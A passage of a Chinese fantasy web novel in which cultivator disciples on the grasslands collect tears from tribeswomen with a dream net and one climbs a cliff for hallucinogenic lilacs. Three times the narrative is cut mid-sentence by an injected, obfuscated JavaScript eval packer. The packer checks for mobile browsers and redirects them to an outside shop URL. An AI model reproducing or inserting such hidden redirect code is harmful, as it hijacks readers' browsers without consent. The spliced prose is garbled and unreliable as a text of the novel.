图雅向玉茵道歉:“玉茵,这件事是我做得不好,我替桑金向你们道歉,她损坏的东西我会加倍赔偿。她年纪小不懂事,不要责怪她了。” “算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416423|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,真算起来我也没有丢什么东西,不用赔钱了。只是这个叫桑金的姑娘,她已经两次偷到我们的头上了,再来一次,一定要惩罚她。” 图雅脸上带着尴尬的笑容,“塔娜,带桑金回去吧。” 她用只有两人能听到的话警告桑金,“你如果再来找麻烦,蒙克也保不住你。我不会一忍再忍下去的。” 桑金眼中满是不屑,“那你有本事就杀了我,你杀了我吧,这样你一辈子都不可能再嫁给蒙克了。” 图雅还想再说什么,桑金已经捂住了耳朵,不想再听。 图雅叹了一口气,让塔娜带着人走了。 图雅再次向完颜丰和玉茵道歉,并且保证会让人守好几人的帐子,不会再发生这样的情况。 处理完这个小插曲,图雅洗了手,继续做着酥油,只是兴致没有刚刚那么高了。 闻絮让玉茵和完颜丰接着清点自己的东西,她和明舟找了个借口出去溜了一圈。 图雅的部落里人大多是三两成群在一起,他们绕了一圈,才在最偏僻的一个马厩里看到一个落单的小男孩。 他一个人躺在干草上,双目无神地盯着前方。 明舟上前拍了拍他的肩膀,“小弟弟,你在这里做什么呢?” 小男孩死寂的眼珠动了动,“有吃的吗?” 闻絮随身带着的袋子里装着刚刚做好的酥油,还有明舟身上不多的几块牛肉干,都拿来给了小男孩。 小男孩接过,狼吞虎咽地吃起来,一边吃还一边打量着二人。 “你们不是云牧川的人,云牧川没有你们皮肤这么白的人,你们找我想要干什么?” “我是们确实不是这里的人,就想随便走走,正好看到你了。对了,你的家人呢,怎么只有你自己在这里?” “我就是个孤儿,一直在这里放马而已。” 明舟想再试探一点话,“我们夫妻两个很喜欢这里的景色,想多住一些时日,但是我夫人身边少几个使唤的人,想找一些年轻的女孩,可是绕了一圈也没有看到,这是为什么?” 小男孩撕扯着嘴里的肉干,“这里长到二十岁的女孩,要么已经成婚去了别的部落,要么就是刚生下来就被掐死了,所以看着才少。” “掐死?为什么要掐死?” “因为是女孩啊!一直都是这样的,男孩太少,女孩太多,花钱养大女孩,养大了就要嫁出去,部落的人和钱就会越来越少,必须这样做。” 闻絮擦了擦男孩嘴角的污渍,“女孩不也是人吗?她们一直不嫁人,留在部落里不可以吗?” “女孩怎么可以不嫁人呢?”小男孩反问着,仿佛闻絮问的话非常荒谬。 “那部落里的这些老妇人呢?” “那都是死了丈夫的,她们原本也都是嫁过来的。” 听了这些话,两人终于明白了。 那些年纪大的妇人,不是这里原有的居民,是从其他部落过来的,而年轻的少女,大多已经嫁了出去,不在这里。 “或许,你听过灵女的故事吗?” 小男孩的目光一下子警惕起来,“你是听谁说的?” 他浑身的气息一瞬间紧绷,嘴里咀嚼的动作也满了下来。 闻絮察觉到他的不安,“昨天听图雅讲的,我喝醉了,只听到一点,没有听完整。” “我只知道一点,灵女背叛了云牧川,她自然也不是云牧川的人了。” 小男孩嘴里的肉干咀嚼完,继续躺在干草上,明显是吃完了不想再交谈。 明舟冲闻絮摇了摇头,在他这里是问不出来什么了。 他们又在外面走了一大圈才回去,图雅蹲在草原上收拾着一盆盆的酥油。 她指挥着将最重最多的一盆留下,一部分储存好用来吃,一部分放在烛台里裹上棉线做酥油灯。 “你们来啦。这是刚做好的酥油灯,我让塔娜送去几盏给你们。” “塔娜,塔娜。” 叫了两声没有人应,一个年纪稍小的婆子过来回话,“额真,塔娜去送桑金了,一时半会儿还回不来。” 图雅笑笑,“是我忘了,那就你吧,把这几盏灯送到客人的帐子里去。” 闻絮帮着一起捏着桶里未成形的酥油,“塔娜去哪里送桑金了?很远吗?” 图雅随口答道:“不远,就在蒙克的部落,往西走十里就是了。” “桑金是蒙克部落的人吗?怎么会到这里来?” “嗯。”图雅不想回答这个问题,含糊地应了一句。 闻絮在桑金走的时候看了一眼,她捂耳朵时正好抬起了手心,一颗小小的红痣就在她手心。 34. 一生太短,不能事事都后悔 云牧川太大,几个部落之间来服饰都有差别,要想再找到手心有红痣的女孩,就像大海捞针了。 那就不能错过桑金了。 图雅这边探不到消息,只能再从其他人那里问问了。 看刚刚那个婆子的反应,她也认识桑金,她对于个中纠纷一定非常熟悉了。 等到婆子去送酥油灯的时候,明舟跟着一起回去了,闻絮就留在外面继续和图雅闲聊。 婆子在桌上放下灯盏,明舟在她身后点了一个穴位,婆子身体愣住,明舟走到她身前,闭上她的眼睛,手指搭在了她的眼皮上。 良久,明舟睁开眼睛,走到婆子身后,解开了她的穴位。 婆子僵硬的身体活动起来,肩膀处有一些酸疼,对刚刚发生的事情有些恍惚。 明舟假装成刚刚走进来洗手的样子,对婆子说了声谢谢,婆子没有怀疑什么,径直走出去了。 明舟在婆子的眼睛里看到了很多人,有图雅,蒙克,桑金,还有一个陌生的女孩子,图雅叫她妮娅。 “什么!妮娅是图雅的妹妹?” 玉茵惊讶地有些失声,这剧情好像有点太狗血了。 “难怪图雅提到妮娅的时候,有些愤怒,又显得很难过。” 闻絮向玉茵比了一个“嘘”的手势,外面很有可能有人在偷听。 玉茵捂住了嘴巴,睁着好奇的眼睛继续听明舟讲述。 图雅和妮娅是一对姐妹,蒙克和她们都是一起长大的,但蒙克只是把妮娅当做妹妹,和图雅确是真心相爱的。 在婆子的视角里,蒙克和图雅的相处非常自然,直到订婚那一夜。 蒙克和妮娅被图雅发现衣衫不整地躺在一张床上。 图雅痛心不已,但为了保住妮娅的名声,说自己不想嫁了,一连出去了数月。 等到她再回来的时候,妮娅已经怀孕了,蒙克和妮娅已经举行了婚礼。 至于桑金,桑金是一个被抛弃的孩子,是被妮娅捡到放在身边做婢女的。 桑金对于几人之间的纠葛非常清楚,她对于图雅的态度取决于图雅对于妮娅的态度。 经过蒙克这件事过后,图雅和妮娅的关系变得很差,桑金对待图雅的态度也恶劣起来。 直到妮娅因为难产而死,那个没出生的孩子也胎死腹中。 最后的时刻,妮娅叫了图雅进去,说了最后的遗言,桑金因为出去了,没有见到妮娅的最后一面。 但她回来的时候看到了床边呆住的图雅,图雅愣住了,但是没有流一滴眼泪,桑金就理所当然地把自己的怨恨加在了图雅身上。 她隔三差五就会来图雅的部落捣乱,看到图雅无奈的表情,她仿佛就会更加开怀一样。 图雅对于桑金的态度也一直很是纵容,每当抓到桑金在捣乱,她都会派塔娜送桑金回去。 明面上说着是派塔娜过去震慑,但是塔娜每次送桑金回去都是恭恭敬敬的样子,所以即便妮娅去世了,桑金在蒙克的部落也没有受到过苛待。 但桑金从不领会图雅的情,在她心里,妮娅就是因为图雅才死掉的。 这次偷东西也是如此,图雅这边来了客人,她就一定要过来搞破坏,搅得图雅鸡犬不宁才解恨。 “哎,图雅和妮娅真是可怜。”玉茵又难过得想要掉眼泪了。 空气凝滞了几秒,几人都齐齐叹了一口气。 按照婆子的视角来看,妮娅已经死去两年了,桑金和图雅的关系是越来越恶劣了。 完颜丰:“不说这些了,弄得我也想哭了,师妹,你今天看清了吗?桑金的手上真的有红痣吗?” 闻絮点点头,“我看清了,在她的手心最下方,有一颗红痣。” “我觉得这个小女贼今天还会来,我和玉茵的帐子她已经去过了,我觉得今晚她会去你们的帐子。” 可惜,明舟和闻絮等了一夜,没有等到桑金,反而等来了两个大大的黑眼圈。 干坐了一晚上的两人,下一秒就好像要睡着了。 白天本想用来补觉,但是一大早上就不清净,听着外面的动静像是蒙克的声音。 明舟困顿地无法起身,闻絮强撑着眼睛趴在里面听着,蒙克和塔娜在说话。 “我昨日又去了一趟离人崖,还是没有摘到紫丁香,图雅就非要紫丁香吗?” 塔娜的语气很为难,“蒙克,你知道的,图雅的心意难以改变的,她认定的事情说什么也要做到。紫丁香不是那么容易就能拿到的,你也不要再去碰壁了,等到图雅再失败几次,也就不会再去了。” 蒙克刻意压低了声音,但语气里是藏不住的担心,“塔娜,我不管图雅,不就是放任她去死吗?她已经从离人崖上摔下来一次了,她肩上的伤现在还没好,再去一次,她就真的活不了了。” 塔娜语气开始哽咽了,“我又何尝不知道呢?图雅就是这样的性子,你也知道,那件事情之后,她就一直郁郁寡欢,跟死人没区别了。” 塔娜吸了一下鼻子,继续压低声音,“那日几位客人来的时候,她已经在草原上跑了半日的马,一直没停,还从马背上摔了下来。而且马背颠簸,她回来的时候腿上磨的全是伤口。” “那晚你们吵架,你走之后,图雅喝了好多酒,我又听到她喊妮娅的名字。后来她清醒一些了,她趴在我的腿上,一声声叹息,她问我,‘塔娜,怎么办,我好像不知道该怎么活了’。” 接着又是蒙克痛苦的声音,“塔娜,我知道这都是我的错,我也不知道该怎么办才好了。” “蒙克,你们都是我看着长大的,你们不要再互相折磨了,如果你真的想为了图雅好,那就管好桑金,不要让她再来了。我知道你对妮娅愧疚,所以对桑金纵容,但也想想图雅,她也差一点就成了你的妻子,别让她再这么难过了。” 闻絮的睡意顺着这些对话全都消散了,她此刻好像能体会到图雅的心情。 那种被亲人和爱人背叛,自己却无可奈何,爱恨纠缠,直到妮娅去世,更多的就又是愧疚。 闻絮听得入神,一不小心脚蹲麻了,帐子的侧面是用羊皮包住的,靠着的动作一大,很容易就被发现了。 “是谁在那里偷听?” 蒙克的刀比声音来得更快,闻絮反应再慢一些,那刀锋就要刺在闻絮的眼睛里了。 蒙克有些恼怒,一把挥开帐子,“你们这些外乡人,在这里偷听什么?” 闻絮站起身来,明舟也从睡意中清醒过来,身边没有武器,随手拿起桌上的酒壶,挡在闻絮前面。 闻絮向明舟示意,“我没事。” 蒙克的刀却一点不留情,直直对着二人。 塔娜吓坏了,急忙冲进来,“蒙克,你这是做什么?快把刀收起来。” “你在我的门口说话,我要出去,怕打扰你们而已。” 一旁的帐子里,图雅一夜没睡好,听到外面的吵闹声,昏昏沉沉地醒来。 听婆子禀报是蒙克和客人起了冲突,图雅急着批了件披风就出去了。 她进了闻絮的帐子,场面有些滑稽,蒙克拿着刀对着二人,明舟拿着一个酒壶在闻絮身前。 “你们在干什么?” 塔娜快速说了事情的原委,图雅看向闻絮的眼神瞬间有些犀利。 但她面色疲惫,对蒙克的态度也不是以前那般剑拔弩张,“蒙克,他们都是我的客人,不要再生事了。” 这种难过,荒凉的语气,蒙克还是第一次在图雅嘴里听到。 “图雅,你怎么了?” 蒙克无助地收起刀,想要摸一摸图雅的额头,却很快被图雅躲开。 “我没事,没睡好而已,你听我一次,回去吧。” 蒙克瞪着闻絮,回头叮嘱塔娜,让她告诉图雅,要提防闻絮一行人。 图雅的脸色很不好,塔娜担心地看着图雅肩上的伤口,“是不是伤口又崩开了,快回去让我看看。” 图雅露出一个微笑,“塔娜,我没事。” 她面色复杂地看向闻絮,“闻絮,我有话想和你说,你来我的帐子里一趟。” 明舟手里的水壶还没放下,也想跟在后面,闻絮回头轻轻拍了拍他的手,“我没事,你去看看师姐那边。” 闻絮进了图雅的帐子,图雅继续坐在床边,塔娜替图雅裹上一个厚厚的毯子。 图雅重重咳嗽了两声,“塔娜,你也出去吧,我说两句就行。” 塔娜应了一声,掀开帘子走了出去。 图雅开门见山,“你们来这里是为了灵女吗?” 紧接着又是咳嗽两声,“你不用急着否认,我已经知道你们打听灵女的事情了。” 闻絮想起昨日那个马厩的小男孩,应该是他说出去的。 图雅的语气很是笃定,今日偷听的事情也被发现了,他们的目的也瞒不住了。 但是闻絮可以肯定一点,图雅应该只知道他们想打听灵女,但是不知道他们要收集眼泪的事情。 所以闻絮点头了,“是,为了灵女。” “你们打听灵女是想要干什么?” “我听说云牧川是灵女的故乡,我想要找到灵女池,我想要灵女池的池水。” “你想要灵女池的池水做什么?” “治病。都说灵女池的池水对人有滋养的作用,我想用来治病。” 闻絮的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们被发现了,但是我编了一个理由,说要找灵女池的池水治病。” “怎么样,她相信了吗?” 闻絮点点头,拿出那张图雅给的地图。 “我答应了要帮图雅去摘紫丁香,作为地图的回报。” 即便这地图对于他们而言根本没用,但她不想辜负少女的一片心意。 “师兄,图雅这里我希望可以再争取一下,我答应了三天内取回紫丁香,这三天里靠你们了,看看能不能再找到手心带红痣的少女了。” 完颜丰点头,“放心,我一定尽力去找,还有桑金,就交给我和玉茵吧。” 明舟:“闻絮,我和你一起去,你一个人可能会有危险。” 闻絮摇摇头,“这是我自己答应图雅的,和我们的任务没有关系,你要留在这里。” 闻絮指了指明舟的捕梦网,“是人总会有情绪波动,桑金最在意的就是妮娅,要拿她的悲泪,还需要你的捕梦网,为她做一场梦。而且,我有寒光在,不用担心。” 几人的任务都分配好,闻絮简单收拾了一下,动身出发了。 图雅借给了闻絮一匹马,闻絮踩在马鞍上,“你现在后悔还来得及。” 闻絮的动作没停,翻身上马,“不后悔,一生太短暂了,怎么能事事都后悔呢?” 图雅站在原地,看着闻絮骑着马的身影渐渐远去,闻絮银色的马甲在阳光下闪烁着,她挺直的背脊随着马的脚步上下起伏着。 图雅没有扎发,满头乌黑的秀发在空中飞动,一缕飘在她的眼前,遮住她略带悲伤的眼睛。 有的人明明在笑,但你却可以从她的眼睛里读出一种淡淡的忧伤,等你想要再去品读的时候,那抹忧伤却随着笑容一起消失了。 闻絮孤身一人骑了很久,漫漫草原,如此开阔的天地间,只她一人纵马奔驰。 她伸出一只手,风在她指尖流过,很快她收回手,继续加速行进着。 在远离人烟的地方,有一片密密的树林,穿过树林,就是离人崖。 离人崖地势险峻,没有可以攀爬的楼梯,想要上去的人只能借自己的力量爬上去。 闻絮抬头看了看高度,比起天照宗的玉阶,这点高度算不了什么。 她在树林里拴好马,踩着略显湿润的泥土进去了。 这片树林暂时没有危险,空气中还有新鲜牛粪的味道。 到了离人崖脚下,闻絮从储物戒里拿出寒光,先站在剑上试了试。 直接飞上去的话有点困难,但是可以先借寒光上一段山。 闻絮用灵力操控着寒光,刚开始略显摇晃,但是很快就稳住步子,寒光带着闻絮慢慢上去。 崖壁之间过于拥挤,很快剑体就卡住,不能再向上。 闻絮收了寒光,站在一个稍显平稳的台子上面。 接下来的路,要自己爬上去了。 35. 人在无限接近成功的时候,也会更加害怕失败…… 闻絮两手抠着突出来的山体,脚下蹬着,继续用力向上爬。 向上爬体力是一方面,还要抽空躲避山上随时可能掉落的碎石。 蒙克和图雅都爬过好几次离人崖,但是要么被落石砸伤,要么体力不支摔下去,身体被擦伤。 闻絮在自己身体的一圈施了一层灵力的保护罩,可以暂时用来躲避掉落的石块。 山体太高,山林里光线不好,只有下午的一小会儿可以看清楚,半下午的时候天色阴得很快,乌密布,不一会儿就下起了小雨。 闻絮借仅有的视力继续爬着,在两处石块交接的地方找到了一个歇脚的平台,头顶的石壁正好用来挡雨。 天色黑得太快,再爬就过于危险了,闻絮只能作罢,明日再爬。 雨落的声音像打芭蕉叶一样,发出重重的吧嗒声音。 闻絮摸到口袋里小男孩给的烤饼,拿出来摸了摸,硬得和铁皮一样。 她放在雨水下淋了一下,把烤饼放在自己的嘴里,一口一口撕咬着。 闻絮吃得很少,没几口就不吃了,把烤饼放进原本的袋子里。 天色更加黑了,雨还在继续下着,闻絮听着耳边的雨声,渐渐闭上眼睛睡着了。 昨天一夜没睡,今天消耗了太多,她几乎是一闭上眼睛就睡着了。 闻絮走后,图雅这边就撤走了守在几人帐子外的仆人。 她也没有指望闻絮可以带回来紫丁香,她对明舟说了,只要他们想走,随时可以走,这几间帐子为他们保留着三日,三日后他们不可以再停留在这里。 明舟继续守在自己的帐子里,桑金如果再来,也只会来没有来过的帐子。 玉茵和完颜丰的帐子她已经去过了,只剩自己和闻絮住的这间了。 完颜丰主动请缨,带着玉茵重新去找少女。 明舟又熬了一夜,除了潇潇雨声,没有等来桑金的身影。 捕梦网除了可以捕梦,也可以造梦,明舟做了一个朦胧的梦。 在梦里,是他在婆子眼中看到的妮娅的身影,她倒在血泊里,慢慢闭上了眼睛。 人在做梦的时候,是不会讲求太多逻辑的,只会看到自己最在意的东西。 这个用来迷惑桑金的梦,足矣了。 天还没亮,玉茵匆忙地回来了,跟在她身后的是抱着桑金的完颜丰。 两人叫醒靠着床边睡着的明舟,“明舟,明舟,快起来,让她躺下。” 昨日两人冒着大雨,趁着夜色摸到了蒙克的部落。 怕被那里的人发现,他们打晕了马厩的马奴,在里面躺了半宿。 等到夜色过了大半,他们才蹑手蹑脚出去,寻找桑金的住处。 蒙克的部落比图雅的部落更大一些,他们不熟悉布局,一连走错了好几个帐子。 完颜丰闻着味道,让玉茵悄悄摸进一个帐子,“相信我,玉茵,肯定是这个。” 玉茵刚进去就听到屋内震天响的呼噜声,她伸手摸了一下,是一个男人上下起伏的肚皮。 玉茵嫌弃地看了一眼,秉着呼吸出去了。 两人身体贴着帐子的外壁,“师兄,你到底靠不靠谱,我们快要把这里到帐子都看个遍了,我不想再看这些男人的睡姿了,我们找的是少女啊!” 牛圈里忽然牛哞哞叫了几声,吓得两人又是一个深呼吸。 完颜丰再次用力闻了闻,女人和男人的味道不一样,按道理来说应该很好找的。 怪就怪蒙克这里养了太多牲口了,空气里都是牛粪羊粪马粪的味道,他这用来嗅灵药的鼻子都秀逗了。 角落一个略显孤僻,偏小的帐子引起了完颜丰的注意完颜丰用手指了指那个帐子的方向,向玉茵使了个眼色。 两人在夜色中继续走着。 走近了完颜丰继续闻着,他靠在玉茵耳边,用气音说着,“玉茵,你相信我,这次肯定没问题。” 玉茵深吸一口气,憋住自己的呼吸,希望这次进去不是臭味了。 屋内很安静,只有静静的呼吸声,玉茵欣喜,终于是女子了。 玉茵点起一点烛火,看向她的手心,果然有红痣。 忽然那手的主人拉住玉茵的衣袖,玉茵心里一紧,还以为是床上的人睡着了。 床上的少女嘟囔着说了一句梦话,又松开了玉茵。 玉茵的心七上八下的,她活了这么多年,还是第一次做这么偷鸡摸狗的事情,真是太罪孽了。 她再次把视线移到少女的脸上,眼睛忽然睁大,出去叫完颜丰。 完颜丰看着玉茵的嘴型,反问:“里面是桑金?” 玉茵点点头。 完颜丰:“我们把她带回去吧。” 玉茵用手势比划着,图雅和蒙克这两个部落离得这么远,怎么带回去?光是碰一下,桑金可能就醒了。 完颜丰得意地拍拍自己的胸膛,“玉茵,让你看看师兄的厉害。” 完颜丰随身带着很多丹药,他掏出一粒,丹药在他的掌心逐渐变成一道白气。 完颜丰掀开帘子,一把将丹药扔了进去。 “这是什么,师兄?” “没什么,安眠药而已。” 等了几息,完颜丰打开帘子,大摇大摆地走了进去。 床上的少女睡得很熟,丝毫没有察觉。 突然,他想到什么,背过身闭上眼睛,玉茵急着进来,两人撞在一起。 “师兄,又怎么了,怎么停了?” “你快去把她的衣服穿上,非礼勿视啊!” 玉茵反应了一下,过去在床边拿起桑金的外衣,帮她穿好所有的衣服和鞋子,整个过程桑金都没有反应。 玉茵把桑金交给完颜丰,自己留下来施了个法术,让屋内的药味散尽。 最后,拿起一旁架子上的披风追了出去,把它盖在了桑金的身上。 夜路积寒凉,再把小姑娘冻伤了就不好了。 两人动作迅速,一气呵成,完颜丰抱着桑金跑了很久,才到他和玉茵栓马的地方。 完颜丰还在大喘气,好久没有这么累过了。 “哎呀,师兄,没时间磨蹭了,快走。” 明舟被二人的声音叫醒,他才反应过来自己居然迷迷糊糊间睡着了。 “快快快,明舟,桑金带回来了。” 明舟在一旁的水盆里冰了一下手,他终于清醒过来。 桑金被平放在床榻上,三人像是对待祭祀的贡品一样,齐齐鞠了个躬。 明舟无声用嘴型说了一句对不起。 然后拿出捕梦网,捕梦网一团金色的丝线飘出,进入桑金的脑海。 桑金原本平静的面色开始出现异常,她嘴唇死死咬着,呼吸也急促起来。 玉茵不忍心再看,背过了身子。 完颜丰手里拿着一个瓶子,是那个已经装了图雅悲泪的瓶子。 明舟聚精会神地盯着桑金,内心祈祷,希望不要有差错。 忽然,桑金悲伤的泪水泉涌一般,打湿了她的半边脸。 完颜丰急忙把瓶子放过去,几滴泪水顺利流入瓶中。 明舟及时收回了梦丝,完颜丰拿着帕子擦拭桑金的泪水。 “对不住对不住,不哭了啊。” 梦丝被收回去,桑金的泪水止住了。 梦丝一天只能使用一次,喜泪只能下一次再使用了。 玉茵在一旁灌了一大杯水,做好准备,“师兄,快点,出发了。” 完颜丰深吸了一口气,“来了。” 他稳稳抱住桑金,把瓶子交给明舟,“拿好哦,我们先把人送回去。” 明舟刚答应了一声,两人已经飞快地跑出去了。 趁着天还没亮,他们得趁早行动。 夜色里,三人两马飞快地奔驰着,终于在天亮前赶到了。 躲过巡逻的奴仆,完颜丰抱着桑金回到了她的帐子。 玉茵在门外等着,完颜丰刚要走,玉茵想起来细节还没处理,进来帮桑金脱了外衣。 还是像原来一样,披风扔在架子上,外衣放在床的另一边。 玉茵回头看了两三次,确保没问题向完颜丰比了个手势。 天已经快亮了,再找别的少女有些难了,只能今晚天黑的时候再来了。 已经排除了一半的帐子,再来肯定没问题了。 趁着没人注意到他们,完颜丰和玉茵又奔波了许久,累得瘫倒在床上。 三人几乎都是一夜没睡,明舟接连两日都没怎么休息,完颜丰看着他,都怕他下一秒直接睡在水杯里面。 “哎呀,我说明舟,你不要跟个老妈子一样等了,要我说闻絮比你厉害,手里还有寒光剑,没什么危险的,她肯定很快就回来了。” 完颜丰一把夺过明舟手中的水杯,强行把他按在枕头上,“现在,立马就睡觉。” 话音刚落,明舟的眼睛就沉沉地闭上了。 这睡得,还真是快。 “师兄,你也不要站着了,今晚辛苦你了,你也先休息吧,我等一等闻絮。” 完颜丰也不客气,“玉茵,辛苦你守着了,师兄我真顶不住了。” 说罢,完颜丰把脚上的鞋子往地面一甩,直挺挺躺在明舟身边,两人共用一个枕头,很快就睡着了。 玉茵走上前,把两人踢乱的鞋子摆正,忽然间洁癖上来了,又打了一盆水把屋子里收拾了一通。 她看着依旧阴沉的天空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416425|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,虽然没有下雨,但也算不上暖和,不知道闻絮在离人崖怎么样了,这么冷的天她没有带很厚的衣服,回来一定会冷的吧。 离人崖上,闻絮被一波冷空气唤醒,山里的雨已经停了,但是崖壁都被打湿了,也就更难攀爬了。 闻絮休息了一夜,体力逐渐恢复,天刚蒙蒙亮,现在的亮度勉强可以看清石壁,要抓紧时间了。 闻絮站起身子,活动了几下,手腕和脚腕都充分活络以后,她探出身子继续开始攀爬。 虽然有法术躲避了落石,但是崖壁过于湿滑,原先戴着的羊皮手套抓不住石壁,闻絮索性就摘了下来。 离人崖不像攀岩练习时的点位,是圆润无棱角的,天生地养的山总是更加外放一些。 崖壁上的石子很多都带着细小的刺,但是为了向上爬也不得不死死抓住,这一趟下来,闻絮手上又多了许多的伤口。 小的伤口不会有血流成河的大伤口那般令人痛不欲生,但是每一次的向上攀爬,每一次和石壁的接触,都会再次激活伤口。 原本长好的痂皮也会因此脱落,新的小的血珠又会渗出来。 但闻絮好像感受不到痛觉一样,自顾自地向上爬着。 她的脑子里不时会浮现出图雅昨日的模样,她昨日其实回头看了。 图雅站在风里,她走得越远,图雅的身影就越渺小,直到变成一个小小的点,然后再也见不到。 如果用一种花来形容图雅,她想那该是木棉,那样热烈盛开的花,不应该这样陨灭在草原上。 人的很多决定都是冲动做出来的,对的事情也好,错的事情也罢,只由心而已。 继续向上爬着,上面的岩壁竟然是光溜溜的,没有任何支点可以让人抓着。 站在两座山体之间的人,只能凭借自己两只胳膊的力气来撑起自己的整个身体。 但这个方法也不是长久的,因为越往上,两座崖壁之间的距离就越宽,人胳膊架起来的长度是有限的,普通人来到这里还是逃不过摔下去的命运。 这里到离人崖顶的距离已经不远了,抬头可以看到一点冒出头的崖尖,也能看到头顶的飞鸟。 但离人崖也不是那么容易征服的,它会让每一个不服输的人知道,什么叫做功败垂成。 人无限接近成功的时候,也会比平常更加畏惧失败。 因为比别人吃了更多的苦,走了更久的路,在即将看到曙光的时候,却要承认自己的渺小。 山终究还是高山,人在高山的面前,如同一只小小的蝼蚁。 蒙克之前就是爬到了这里,等到崖壁间隙变宽的时候,他拿出匕首抓在山体上,希望借助两把匕首的力量升上去。 但是岩壁异常得坚韧,如果可以一直顺利向上爬也就罢了。 匕首扎不进山体,也无法支撑起一个成年人的重量,很快他也摔落下来,胳膊被摔伤,也无法再上去。 闻絮也随身带了匕首,一开始她先借助胳膊的力量向上,等到宽度再宽一点的时候,她袖子里绑着的匕首也就派上了用场。 她扎着岩壁,又向上爬了几米,等到视野再开阔一点的时候,她拿出了寒光。 寒光被重重插在石壁之间,闻絮脚下一蹬,飞快几步蹬着山壁。 离人崖顶,到了! 闻絮大口喘着粗气,也不管地上是泥水还是什么了,躺在地上久久没有起身。 离人崖的景色很是寂寥,还不如草原的颜色来得壮观。 其实景色远没有那么要紧,多少人爬上高山也不止是为了看山上的景色,更多的是为了爬上去那份喜悦。 风声在她耳边呼啸而过,空中的云朵好像也为她停留,阴暗的天空露出一角水洗过的蓝色。 寻找紫丁香的任务还在闻絮心头晃悠,她没有忘记最重要的事情。 从崖壁拿到寒光,闻絮小心地擦拭了上面的泥土。 她踏过一个个小的水坑,走向崖壁上,那一片落寞开放的紫色花朵。 紫丁香在闻絮眼里看来,和其他的花朵没有什么不同,没有很重的香味,也没有奇异的外表。 但既然图雅想要,那就一定有过人之处。 闻絮腰间放着一个小口的木瓶,她采下几株开得最盛的花朵放在里面,又从地上盛了一点干净的雨水,放在瓶子里面,防止花儿枯萎。 紫丁香采摘完了,闻絮也要接着寻找下山的路。 上来的路太过于险峻,原路返回的危险太大,只能再找一条路。 闻絮顺着一条细细的水流的方向走着,水往低处流,水能通过的地方,人应当也能过去。 闻絮感觉时间过得飞快,水流明明只有细细一条,但是却仿佛永远流不尽。 36. 有话好商量 很快,她就发现了不对劲。 她是顺着水流一直往下走的,按道理不可能回到原来还经过的地方。 但是,在她第二次看到那棵树干雄壮,但是没有丝毫叶片的树时,她才意识到自己迷路了。 更准确一点,她不是迷路了,而是出现了幻觉。 采到紫丁香的时候不过晌午,怎么眼前的天空又黑下来。 她来来回回走了很久的路,像是在原地绕圈。 闻絮掏出怀里的烤饼,一下一下撕开,放入自己的嘴里,希望用这种方式让自己冷静一点。 迷路的慌张暂时被按压下来,闻絮开始思考哪里出了问题。 她想起襄兰曾经的话,不要用眼睛,要用心去感受。 闻絮闭上眼睛,用神识去感知周围的一切,流动的风声,鸟鸣叫的声音,还有树上滴下来的雨滴声。 等等,这么多声音,唯独缺了水流声。 闻絮再次睁眼,眼前的小溪消失了。 眼前的溪流才是幻觉,她跟着眼前出现的幻觉走了这么久,所以才找不到下山的路。 离人崖很是怪异,闻絮一进山,手里的罗盘就不能用了,指针在四处乱飞着。 在山林里,最怕的就是迷失方向。 闻絮一时辨别不了方向,索性盘腿坐下来,阴天没有太阳,也不能借助太阳来分辨方向。 这里四处环山,唯一的一条小溪还是幻觉,看不到其余的一点信息。 幻觉很快就再次袭来,闻絮用匕首割破自己的手指,慢慢扶着地面走着。 离开原地差不多两百米的时候,她停了下来。 眼前突然出现了一个穿着奇怪的老头,他佝偻着背,拄着拐杖,面色却十分阴狠,“你不是来自这里,你是谁?” 闻絮摇了摇头,离人崖连青壮年都不一定能爬得上来,这个羸弱的老头又怎么可能上得来。 又是幻觉。 闻絮闭上眼睛,拿出寒光,寒光的剑气对着前面一挥,眼前的身影和说话声都消失了。 闻絮再次环顾四周,这次她换了一种方式,她摸着岩壁,背靠着岩壁走着,又走出原地两百多米的距离。 她再次停住,这次她看到一个巨大的火球向自己扑过来。 这次不等闻絮反应,火球已经扑在了她的身上,点燃了她的衣服,身上也仿佛有灼烧的感觉,皮肤传来刺痛感。 火势顺着衣袖上来,烧到闻絮的脖颈,她感觉喉头被火焰扼住,无法呼吸。 然后,脚下有一阵滞空感,原本脚下踩着的地面突然坍塌了,她一瞬间掉入悬崖下。 闻絮低头一看,悬崖下是自己躺着的身影,躺在那里,一动也不能动,嘴角还渗着血丝。 闻絮心口突然传来一阵温热,护心镜再次发挥作用,让她从失神中回过神来,又是幻觉。 寒光再次出来解决了这些幻觉。 但总归是治标不治本的,幻觉一直出现,躲不过去。 时间一点点被耗尽,她已经在离人崖上耗了太久的时间了,再找不到下山的路,天色一黑,幻觉再次出现,她很有可能在无知无觉间坠下山崖。 闻絮试验了两次,不管她在哪里站着,幻觉都会如期而至。 难道说这离人崖有什么魔咒,进山的人都会产生幻觉吗? 不对,这里的温度不至于失温,她也没有吃山上的任何东西。 一定是她在这里碰了什么东西。 想到这里,闻絮立马低头,瓶子里的紫丁香依旧在盛放。 是紫丁香。 闻絮打开储物戒,把瓶子连同花一起放了进去,避免自己闻到紫丁香的气味。 